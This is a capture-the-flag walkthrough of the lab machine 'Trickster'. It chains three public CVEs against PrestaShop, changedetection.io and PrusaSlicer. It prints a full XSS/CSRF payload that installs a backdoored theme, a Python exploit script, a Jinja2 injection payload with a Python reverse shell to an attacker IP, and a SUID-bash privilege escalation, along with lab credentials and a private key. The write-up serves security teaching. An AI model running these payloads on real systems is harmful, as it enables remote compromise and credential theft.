Machine Card listing Trickster as a medium Linux box

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since nmap already found the redirect to trickster.htb, I’ll add this to my /etc/hosts file before having a closer look at HTTP.

HTTP

The website talks about an exceptional shopping experience and offers some background information, a way to contact them and a link to their shop at shop.trickster.htb. I’ll add the new domain to my hosts.

Fancy websites with links to a contact form and the shop

Following the link to the shop leads to a generic webshop powered by PrestaShop, visible within the footer alongside a potential valid email address admin@trickster.htb.

Generic webshop powered by PrestaShop

A overview of the shop can be seen in /sitemap and a /robots.txt was also auto-generated by PrestaShop. One entry there sticks out: .git.

curl -s http://shop.trickster.htb/robots.txt | head -n 15
# robots.txt automatically generated by PrestaShop e-commerce open-source solution
# https://www.prestashop.com - https://www.prestashop.com/forums
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/robotstxt.html
User-agent: *
 
Disallow: /.git
# Allow Directives
Allow: */modules/*.css
Allow: */modules/*.js
Allow: */modules/*.png

Accessing /.git/ through the browser shows a directory listing for a bare git repository.

Browser showing the directory listing for /.git/, a bare git repository

With the help of git-dumper I’ll retrieve the repository. It does only have a single commit by adam@trickster.htb that updated the admin_panel.

git-dumper git-dumper http://shop.trickster.htb shop.git
[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
--- SNIP ---
 
ls -la shop.git
drwxrwxr-x 4 ryuki ryuki   4096 Sep 22 11:25 .
drwxrwxr-x 3 ryuki ryuki   4096 Sep 22 11:23 ..
drwxrwxr-x 7 ryuki ryuki   4096 Sep 22 11:23 .git
-rw-rw-r-- 1 ryuki ryuki   1538 Sep 22 11:23 .php-cs-fixer.dist.php
-rw-rw-r-- 1 ryuki ryuki   5054 Sep 22 11:23 INSTALL.txt
-rw-rw-r-- 1 ryuki ryuki    522 Sep 22 11:23 Install_PrestaShop.html
-rw-rw-r-- 1 ryuki ryuki 183862 Sep 22 11:23 LICENSES
-rw-rw-r-- 1 ryuki ryuki    863 Sep 22 11:23 Makefile
drwxrwxr-x 8 ryuki ryuki   4096 Sep 22 11:23 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 ryuki ryuki   1305 Sep 22 11:23 autoload.php
-rw-rw-r-- 1 ryuki ryuki   2506 Sep 22 11:23 error500.html
-rw-rw-r-- 1 ryuki ryuki   1169 Sep 22 11:23 index.php
-rw-rw-r-- 1 ryuki ryuki   1256 Sep 22 11:23 init.php

Unfortunately the git repository does not expose any credentials, but shows the folder for the admin login, that gets randomized during the installation1. Going to /admin634ewutrx1jgitlooaj shows a login prompt and the version number 8.1.5.

Login to PrestaShop showing version 8.1.5

Hint

It’s also possible to register an account and start shopping. HTML and possibly Javascript can be injected into the messages attached to an order but apparently nobody looks there, so exploitation is limited. Furthermore the cookies have the HttpOnly flag set, so exfiltration is not possible.

Execution

By looking up the version number I can quickly find CVE-2024-34716, a XSS vulnerability in the front-office contact form (/contact-us) that allows running Javascript in the context of the administrator’s session. There’s also a PoC that includes some more technical details.

Basically the exploit sends a HTML file disguised as an image file via the contact form. When an administrator views the attached file, the Javascript executes and installs a backdoored theme through CSRF.

The Proof-of-Concept comes with the HTML file and the malicious theme as ZIP. It also includes a Python script that executes the steps required and then listens for a reverse shell connection. Within the accompanied blog posts it’s mentioned to modify the HTML file and ZIP file, so some adjustments have to be made.

First I’ll have a look at the contents of the ZIP file. In there are about 1000 files, most notably a.php as the reverse shell to be called. The IP to connect to is hardcoded there, so I need to fix that. To do so I extract that file, modify it and then update the archive.

# Extract a.php
unzip ps_next_8_theme_malicious.zip a.php
Archive:  ps_next_8_theme_malicious.zip
  inflating: a.php                   
 
# Replace IP
sed -i 's/172.16.27.179/10.10.10.10/g' a.php
 
# Update ZIP with new file
zip -u ps_next_8_theme_malicious.zip a.php

Next I check out the HTML file and it also has several important values hardcoded. The URLs to be called point to http://prestashop:8000 and the randomized admin folder is set to /admin-dev/. Futhermore the malicious theme is downloaded from the same IP as within the reverse shell. In order to make the exploit work, I change the URL to http://shop.trickser.htb and the admin folder to /admin634ewutrx1jgitlooaj/ as seen in the git repository. Then I also replace the IP with my own, since I plan to serve the ZIP over HTTP.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta viewport="width=device-width, initial-scale=1.0">
    <title>Exploit</title>
</head>
<body>
    <script>
        async function fetchTokenFromHTML() {
            const url = 'http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import';
            try {
                const response = await fetch(url, {
                    method: 'GET',
                    credentials: 'include',
                    redirect: 'follow'
                });
                if (!response.ok) throw new Error('Failed to fetch the page for token extraction. Status: ' + response.status);
 
                const htmlText = await response.text();
                const parser = new DOMParser();
                const doc = parser.parseFromString(htmlText, "text/html");
 
                const anchor = doc.querySelector('a.btn.btn-lg.btn-outline-danger.mr-3');
                const href = anchor ? anchor.getAttribute('href') : null;
                const match = href ? href.match(/_token=([^&]+)/) : null;
                const token = match ? match[1] : null;
                if (!token) throw new Error('Token not found in anchor tag href.');
 
                console.log('Extracted Token from HTML:', token);
                return token;
            } catch (error) {
                console.error('Error fetching token from HTML content:', error);
                return null;
            }
        }
 
        async function fetchCSRFToken(token) {
            const csrfUrl = `http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${token}`;
            try {
                const response = await fetch(csrfUrl, {
                    method: 'GET',
                    credentials: 'include',
                    redirect: 'follow'
                });
                if (!response.ok) throw new Error('Failed to fetch the page for CSRF token extraction. Status: ' + response.status);
 
                const htmlText = await response.text();
                const parser = new DOMParser();
                const doc = parser.parseFromString(htmlText, "text/html");
 
                const csrfTokenInput = doc.querySelector('input[name="import_theme[_token]"]');
                const csrfToken = csrfTokenInput ? csrfTokenInput.value : null;
                if (!csrfToken) throw new Error('CSRF token not found in HTML content.');
 
                console.log('Extracted CSRF Token:', csrfToken);
                return csrfToken;
            } catch (error) {
                console.error('Error fetching CSRF token:', error);
                return null;
            }
        }
 
        async function importTheme() {
            try {
                const locationHeaderToken = await fetchTokenFromHTML();
                if (!locationHeaderToken) {
                    console.error('Failed to fetch token from HTML');
                    return;
                }
 
                const csrfToken = await fetchCSRFToken(locationHeaderToken);
                if (!csrfToken) {
                    console.error('Failed to fetch CSRF token');
                    return;
                }
 
                const formData = new FormData();
                formData.append('import_theme[import_from_web]', 'http://10.10.10.10/ps_next_8_theme_malicious.zip');
                formData.append('import_theme[_token]', csrfToken);
 
                const postUrl = `/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${locationHeaderToken}`;
                console.log('POST URL:', postUrl);
 
                const response = await fetch(postUrl, {
                    method: 'POST',
                    body: formData,
                });
 
                if (response.ok) {
                    console.log('Theme imported successfully');
                } else {
                    console.error('Failed to import theme. Response Status:', response.status);
                }
            } catch (error) {
                console.error('Error importing theme:', error);
            }
        }
 
        document.addEventListener('DOMContentLoaded', function() {
            importTheme();
        });
    </script>
</body>
</html>

Last but not least, I skim the exploit.py and see it asks for 4 values, uploads the HTML file through the contact form and then spins up ncat and requests /themes/next/reverse-shell.php in a loop. Since I do not have ncat installed, I’ll replace that with nc and fix the file to be called considering it’s actually called a.php.

import requests, subprocess, time, threading
from bs4 import BeautifulSoup
 
def send_get_requests(url, interval=5):
    while True:
        try:
            response = requests.get(url)
            print(f"GET request to {url}: {response.status_code}")
        except requests.RequestException as e:
            print(f"Error during GET request: {e}")
        time.sleep(interval)
 
 
host_url = input("[?] Please enter the URL (e.g., http://prestashop:8000): ")
email = input("[?] Please enter your email: ")
message_content = input("[?] Please enter your message: ")
exploit_path = input("[?] Please provide the path to your HTML file: ")
 
with open(exploit_path, 'r') as file:
    html_content = file.read()
 
url = f"{host_url}/contact-us"
 
response = requests.get(url)
response.raise_for_status()
 
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'token'})['value']
cookies = response.cookies
 
files = {
    'fileUpload': ('test.png', html_content, 'image/png'),
}
 
data = {
    'id_contact': '2',
    'from': email,
    'message': message_content,
    'url': '',
    'token': token,
    'submitMessage': 'Send'
}
 
response = requests.post(url, files=files, data=data, cookies=cookies)
 
 
def send_get_requests(interval=1):
    url = f"{host_url}/themes/next/a.php"
    while True:
        try:
            requests.get(url)
        except requests.RequestException as e:
            print(f"Error during GET request: {e}")
        time.sleep(interval)
 
thread = threading.Thread(target=send_get_requests)
thread.daemon = True
thread.start()
 
if response.status_code == 200:
    print(f"[X] Yay! Your exploit was sent successfully!")
    print(f"[X] Once a CS agent clicks on attachement, you'll get a SHELL")
 
    subprocess.call(["nc", "-lnvp", "1234"], shell=False)
    print("[X] ncat is now listening on port 1234. Press Ctrl+C to terminate.")
 
else:
    print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}")

Info

Right after the release there was a pull request that aims to fix most of the issues

Now I’m ready to fire up the exploit and hopefully catch a reverse shell. A few minutes pass and there’s a hit on the webserver to retrieve the theme, followed up with a shell as www-data.

python3 exploit.py
[?] Please enter the URL (e.g., http://prestashop:8000): http://shop.trickster.htb
[?] Please enter your email: ryuki@ctf.htb
[?] Please enter your message: Please Click this
[?] Please provide the path to your HTML file: exploit.html
[X] Yay! Your exploit was sent successfully!
[X] Once a CS agent clicks on attachement, you'll get a SHELL
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.187.93] 36752
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 10:17:02 up  1:58,  0 users,  load average: 0.14, 0.20, 0.21
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

Privilege Escalation

Shell as james

PrestaShop stores its information in a database and the credentials to access it in /var/www/prestashop/app/config/parameters.php. Among other secret information, there are the credentials ps_user:prest@shop_o to access the InnoDB database prestashop.

/var/www/prestashop/app/config/parameters.php
<?php return array (
  'parameters' =>
  array (
    'database_host' => '127.0.0.1',
    'database_port' => '',
    'database_name' => 'prestashop',
    'database_user' => 'ps_user',
    'database_password' => 'prest@shop_o',
    'database_prefix' => 'ps_',
    'database_engine' => 'InnoDB',
    'mailer_transport' => 'smtp',
    'mailer_host' => '127.0.0.1',
    'mailer_user' => NULL,
    'mailer_password' => NULL,
    'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
    'ps_caching' => 'CacheMemcache',
    'ps_cache_enable' => false,
    'ps_creation_date' => '2024-05-25',
    'locale' => 'en-US',
    'use_debug_toolbar' => true,
    'cookie_key' => '8PR6s1SJZLPCjXTegH7fXttSAXbG2h6wfCD3cLk5GpvkGAZ4K9hMXpxBxrf7s42i',
    'cookie_iv' => 'fQoIWUoOLU0hiM2VmI1KPY61DtUsUx8g',
    'new_cookie_key' => 'def000001a30bb7f2f22b0a7790f2268f8c634898e0e1d32444c3a03f4040bd5e8cb44bdb57a73f70e01cf83a38ec5d2ddc1741476e83c45f97f763e7491cc5e002aff47',
    'api_public_key' => '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuSFQP3xrZccKbS/VGKMr
v8dF4IJh9F9NvmPZqiFNpJnBHhfWE3YVM/OrEREGKztkHFsQGUZXFIwiBQVs5kAG
5jfw+hQrl89+JRD0ogZ+OHUfN/CgmM2eq1H/gxAYfcRfwjSlOh2YzAwpLvwtYXBt
Scu6QqRAdotokqW2m3aMt+LV8ERdFsBkj+/OVdJ8oslvSt6Kgf39DnBpGIXAqaFc
QdMdq+1lT9oiby0exyUkl6aJU21STFZ7kCf0Secp2f9NoaKoBwC9m707C2UCNkAm
B2A2wxf88BDC7CtwazwDW9QXdF987RUzGj9UrEWwTwYEcJcV/hNB473bcytaJvY1
ZQIDAQAB
-----END PUBLIC KEY-----
',
    'api_private_key' => '-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC5IVA/fGtlxwpt
L9UYoyu/x0XggmH0X02+Y9mqIU2kmcEeF9YTdhUz86sREQYrO2QcWxAZRlcUjCIF
BWzmQAbmN/D6FCuXz34lEPSiBn44dR838KCYzZ6rUf+DEBh9xF/CNKU6HZjMDCku
/C1hcG1Jy7pCpEB2i2iSpbabdoy34tXwRF0WwGSP785V0nyiyW9K3oqB/f0OcGkY
hcCpoVxB0x2r7WVP2iJvLR7HJSSXpolTbVJMVnuQJ/RJ5ynZ/02hoqgHAL2bvTsL
ZQI2QCYHYDbDF/zwEMLsK3BrPANb1Bd0X3ztFTMaP1SsRbBPBgRwlxX+E0Hjvdtz
K1om9jVlAgMBAAECggEAD5CTdKL7TJVNdRyeZ/HgDcGtSFDt92PD34v5kuo14u7i
Y6tRXlWBNtr3uPmbcSsPIasuUVGupJWbjpyEKV+ctOJjKkNj3uGdE3S3fJ/bINgI
BeX/OpmfC3xbZSOHS5ulCWjvs1EltZIYLFEbZ6PSLHAqesvgd5cE9b9k+PEgp50Q
DivaH4PxfI7IKLlcWiq2mBrYwsWHIlcaN0Ys7h0RYn7OjhrPr8V/LyJLIlapBeQV
Geq6MswRO6OXfLs4Rzuw17S9nQ0PDi4OqsG6I2tm4Puq4kB5CzqQ8WfsMiz6zFU/
UIHnnv9jrqfHGYoq9g5rQWKyjxMTlKA8PnMiKzssiQKBgQDeamSzzG6fdtSlK8zC
TXHpssVQjbw9aIQYX6YaiApvsi8a6V5E8IesHqDnS+s+9vjrHew4rZ6Uy0uV9p2P
MAi3gd1Gl9mBQd36Dp53AWik29cxKPdvj92ZBiygtRgTyxWHQ7E6WwxeNUWwMR/i
4XoaSFyWK7v5Aoa59ECduzJm1wKBgQDVFaDVFgBS36r4fvmw4JUYAEo/u6do3Xq9
JQRALrEO9mdIsBjYs9N8gte/9FAijxCIprDzFFhgUxYFSoUexyRkt7fAsFpuSRgs
+Ksu4bKxkIQaa5pn2WNh1rdHq06KryC0iLbNii6eiHMyIDYKX9KpByaGDtmfrsRs
uxD9umhKIwKBgECAXl/+Q36feZ/FCga3ave5TpvD3vl4HAbthkBff5dQ93Q4hYw8
rTvvTf6F9900xo95CA6P21OPeYYuFRd3eK+vS7qzQvLHZValcrNUh0J4NvocxVVn
RX6hWcPpgOgMl1u49+bSjM2taV5lgLfNaBnDLoamfEcEwomfGjYkGcPVAoGBAILy
1rL84VgMslIiHipP6fAlBXwjQ19TdMFWRUV4LEFotdJavfo2kMpc0l/ZsYF7cAq6
fdX0c9dGWCsKP8LJWRk4OgmFlx1deCjy7KhT9W/fwv9Fj08wrj2LKXk20n6x3yRz
O/wWZk3wxvJQD0XS23Aav9b0u1LBoV68m1WCP+MHAoGBANwjGWnrY6TexCRzKdOQ
K/cEIFYczJn7IB/zbB1SEC19vRT5ps89Z25BOu/hCVRhVg9bb5QslLSGNPlmuEpo
HfSWR+q1UdaEfABY59ZsFSuhbqvC5gvRZVQ55bPLuja5mc/VvPIGT/BGY7lAdEbK
6SMIa53I2hJz4IMK4vc2Ssqq
-----END PRIVATE KEY-----
',
  ),
);

Through the command mysql I access the database and dump the password hashes for the employees within ps_employees. Besides admin there’s james and that user is also configured on the system itself.

mysql -u ps_user -D prestashop -p
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2923
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
MariaDB [prestashop]> select lastname,firstname,passwd from ps_employee;
+----------+-----------+--------------------------------------------------------------+
| lastname | firstname | passwd                                                       |
+----------+-----------+--------------------------------------------------------------+
| Store    | Trickster | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
| james    | james     | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+----------+-----------+--------------------------------------------------------------+
2 rows in set (0.000 sec)

john is able to crack the bcrypt hash for james: alwaysandforever and this allows me to login via SSH and collect the first flag.

john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
--- SNIP ---

Shell as adam

After getting SSH access on the host, I check the running processes and can see that a Docker container is started and root is running changedetection.py. A quick online search hints towards changedetection.io and their documentation lists running within Docker on port 5000 as one of the ways to run the application2.

ps auxwww
--- SNIP ---
root       13639  0.0  0.3 1238400 12328 ?       Sl   10:20   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id ae5c137aa8efc8eee17e3f5e2f93594b6bfc9ea2d7b350faba36e80d588aa47c -address /run/containerd/containerd.sock
root       13678  0.2  1.8 1300332 73916 ?       Ssl  10:20   0:02 python ./changedetection.py -d /datastore
--- SNIP ---
 
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:8d:07 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.187.93/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2951sec preferred_lft 2951sec
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:b1:0d:da:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
19: vethab3a48e@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether ca:23:62:b1:b1:0e brd ff:ff:ff:ff:ff:ff link-netnsid 0

The docker0 interface uses 172.17.0.1/16 as IP address, so the container should be somewhere in that /16 subnet. A ping sweap returns a positive feedback on 172.17.0.2 and the curl command as follow up confirms that the application is running on that IP.

for i in {2..254}; do (ping -c 1 172.17.0.$i | grep ttl &) ; done
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.052 ms
 
curl -sL 172.17.0.2:5000 | head -n 10
<!DOCTYPE html>
<html lang="en" data-darkmode="false">
 
  <head>
    <meta charset="utf-8" >
    <meta name="viewport" content="width=device-width, initial-scale=1.0" >
    <meta name="description" content="Self hosted website change detection." >
    <title>Change Detection</title>
    <link rel="alternate" type="application/rss+xml" title="Changedetection.io » Feed" href="/rss?tag=&amp;token=" >
    <link rel="stylesheet" href="/static/styles/pure-min.css" >
--- SNIP ---

Through SSH I create a SOCKS proxy (-D 1080) to access the application from my host. Accessing http://172.17.0.2:5000 shows the login prompt to ChangeDetection.io and the version number v0.45.20. The password for james works here as well and I get authenticated access to the application.

Dashboard showing two websites that are regularly checked

Looking up the version finds CVE-2024-32651, a server side template injection that leads to remote code execution. When a monitored website changes, the application might send out a notification that can be customized through a Jinja2 template. This is not sanitized and system commands can be ran. Another PoC provides some sample code, that I adapt to my needs.

Testing the notification feature with a Jinja2 payload

I don’t want to wait until a page changes to trigger the exploit and decide to go to Settings Notifications. There I can send a test notification. I update the notification URL list with a get://172.17.0.1:9999 (it has to be a valid IP) and add my payload with the reverse shell as Notification Body. Upon pressing send, I get a connection on my listener on port 4444 as root.

{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.10.10\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read()}}
{% endif %}
{% endfor %}

It can be seen in ps output that the application is started with -d /datastore denoting the directory to store the data (duh!). In there are some config files and the currently configured watches in the directories with UUID as name. The JSON file also contains the password to the web-ui, but since I’m logged in already there’s no point in cracking it.

ls -la /datastore
total 48
drwxr-xr-x 5 root root  4096 Sep 22 13:00 .
drwxr-xr-x 1 root root  4096 Sep 13 12:24 ..
drwxr-xr-x 2 root root  4096 Aug 31 08:56 Backups
drwxr-xr-x 2 root root  4096 Sep 19 11:44 b86f1003-3ecb-4125-b090-27e15ca605b9
drwxr-xr-x 2 root root  4096 Sep 19 11:44 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
-rw-r--r-- 1 root root    64 Aug 30 20:21 secret.txt
-rw-r--r-- 1 root root   155 Aug 30 20:25 url-list-with-tags.txt
-rw-r--r-- 1 root root    73 Aug 30 20:25 url-list.txt
-rw-r--r-- 1 root root 14040 Sep 22 13:00 url-watches.json

More interesting is the Backups directory. It does contain two ZIP files with a timestamp in the name that may be older versions of the watches or the UI, so there could be another password. The container has only a few tools available and I decide to transfer those to my own host. I accomplish that by spinning up a local webserver and then download the files from there to the host to transfer them via SCP.

cd /datastore/Backups
 
ls
changedetection-backup-20240830194841.zip
changedetection-backup-20240830202524.zip
 
# Spin up a simple HTTP server
python3 -m http.server 8888

Extracting the contents of changedetection-backup-20240830194841.zip shows just one entry for the watches in url-list.txt. Apparently the application was configured to watch a Gitea instance with the repository of the PrestaShop.

unzip -d 20240830194841 changedetection-backup-20240830194841.zip
Archive:  changedetection-backup-20240830194841.zip
   creating: 20240830194841/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
 extracting: 20240830194841/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br  
 extracting: 20240830194841/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt  
  inflating: 20240830194841/secret.txt  
  inflating: 20240830194841/url-list.txt  
  inflating: 20240830194841/url-list-with-tags.txt  
  inflating: 20240830194841/url-watches.json  
 
cd 20240830194841
 
cat url-list.txt
https://gitea/james/prestashop/src/branch/main/app/config/parameters.php

Within the directory b4a8b52d-651b-44bc-bbc6-f9e8c6590103 there’s one snapshot of the page but trying to read it produces gibberish. The file extension .br identifies the a brotli archive that is used by changedetection.io3. After installing brotli with sudo apt install brotli, I can decompress the file and get the password for adam: adam_admin992

brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
 
cat f04f0732f120c0cc84a993ad99decb2c.txt
--- SNIP ---
                < ? php return array (                                                                                                                                 
                'parameters' =>                                                                                                                                        
                array (                                                                                                                                                
                'database_host' => '127.0.0.1' ,                                                                                                                       
                'database_port' => '' ,                                                                                                                                
                'database_name' => 'prestashop' ,                                                                                                                      
                'database_user' => 'adam' ,                                                                                                                            
                'database_password' => 'adam_admin992' ,                                                                                                               
                'database_prefix' => 'ps_' ,                                                                                                                           
                'database_engine' => 'InnoDB'
--- SNIP ---

Shell as root

The user adam can run /opt/PrusaSlicer/prusaslicer as anyone and checking the version shows 2.6.1. PrusaSlicer is a tool to convert 3D models into G-code instructions. Next to the binary is TRICKSTER.3mf, a 3D Manufacturing Format4.

sudo -l
Matching Defaults entries for adam on trickster:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User adam may run the following commands on trickster:
    (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
 
/opt/PrusaSlicer/prusaslicer --help | head -n 5
PrusaSlicer-2.6.1+linux-x64-GTK2-202309060801 based on Slic3r (with GUI support)
https://github.com/prusa3d/PrusaSlicer

Via the version I can find CVE-2023-47268, an arbitrary code execution through 3mf files. Those are apparently just ZIP files containing a bunch of other files and also configurations. One of those, Slic3r_PE.config, allows to configure a post_process and this can be used to run any command in the context of the user executing prusaslicer.

Since the host is lacking zip I transfer the TRICKSTER.3mf to my host. Extract the file Metadata/Slic3r_PE.config and modify it to include /usr/bin/chmod u+s /bin/bash as post_process. Then I update the 3mf file and upload it to the target again.

# Check the contents of the file
unzip -l TRICKSTER.3mf
Archive:  TRICKSTER.3mf
  Length      Date    Time    Name
---------  ---------- -----   ----
      375  2024-05-23 23:08   [Content_Types].xml
    38098  2024-05-23 23:08   Metadata/thumbnail.png
      411  2024-05-23 23:08   _rels/.rels
   549577  2024-05-23 23:08   3D/3dmodel.model
    13624  2024-05-23 23:08   Metadata/Slic3r_PE.config
     3414  2024-05-23 23:08   Metadata/Slic3r_PE_model.config
---------                     -------
   605499                     6 files
 
# Extract the config
unzip TRICKSTER.3mf Metadata/Slic3r_PE.config
 
# Update the file to include my payload
sed -i "s#; post_process =.*#; post_process = /usr/bin/chmod u+s /bin/bash#" Metadata/Slic3r_PE.config 
 
# Update the file in the archive
zip -u TRICKSTER.3mf Metadata/Slic3r_PE.config

Supplying the updated 3mf file to prusaslicer with -s results in an error regarding in the output filename. Consulting the --help shows I can influence the output filename with -o. I rerun the command and this time it works and the /bin/bash has the SUID bit set, allowing me to escalate to root.

sudo /opt/PrusaSlicer/prusaslicer -s /home/adam/TRICKSTER.3mf
--- SNIP ---
Failed processing of the output_filename_format template.
Parsing error at line 1: Non-integer index is not allowed to address a vector variable.
{input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_{printing_filament_types}_{printer_model}_{print_time}.gcode
 
sudo /opt/PrusaSlicer/prusaslicer -s /home/adam/TRICKSTER.3mf -o abc
--- SNIP ---
 
ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Unintended Path

Within the Docker container as root, I have access to the bash history and someone apparently submitted the root password as command. It does work for the root account in the container but also for the host.

history
    1  apt update
    2  #YouC4ntCatchMe#
    3  apt-get install libcap2-bin
    4  capsh --print
    5  clear
    6  capsh --print
    7  cd changedetectionio/
    8  ls
    9  nano forms.py 
   10  apt install nano
   11  nano forms.py 
   12  exit
   13  capsh --print
   14  nano
   15  cd changedetectionio/
   16  nano forms.py 
   17  exit
   18  nano changedetectionio/flask_app.py 
   19  exit
   20  nano changedetectionio/flask_app.py 
   21  exit
   22  nano changedetectionio/flask_app.py 
   23  nano changedetectionio/static/js/notifications.js 
   24  exit

This allows to escalate the privileges to root via su and the password #YouC4ntCatchMe#.

Attack Path

flowchart TD

subgraph "Execution"
    A(PrestaShop) -->|CVE-2024-34716 in Contact Form| B(Shell as www-data)
end

subgraph "Privilege Escalation"
    B -->|Credentials in DB| C(Hash for james)
    C -->|Bruteforce| D(Shell as james)
    D -->|Password Reusage| E(Access to changedetection.io running in Docker)
    E -->|CVE-2024-32651| F(Access as root in container)
    F -->|Backups with Password| G(Access as adam)
    G -->|CVE-2023-47268| H(Access as root)
    F -->|"Unintended\nPassword in bash history"| H
end

Footnotes

  1. Quick installation instructions

  2. changedetection.io: Installation

  3. requirements.txt

  4. 3D Manufacturing Format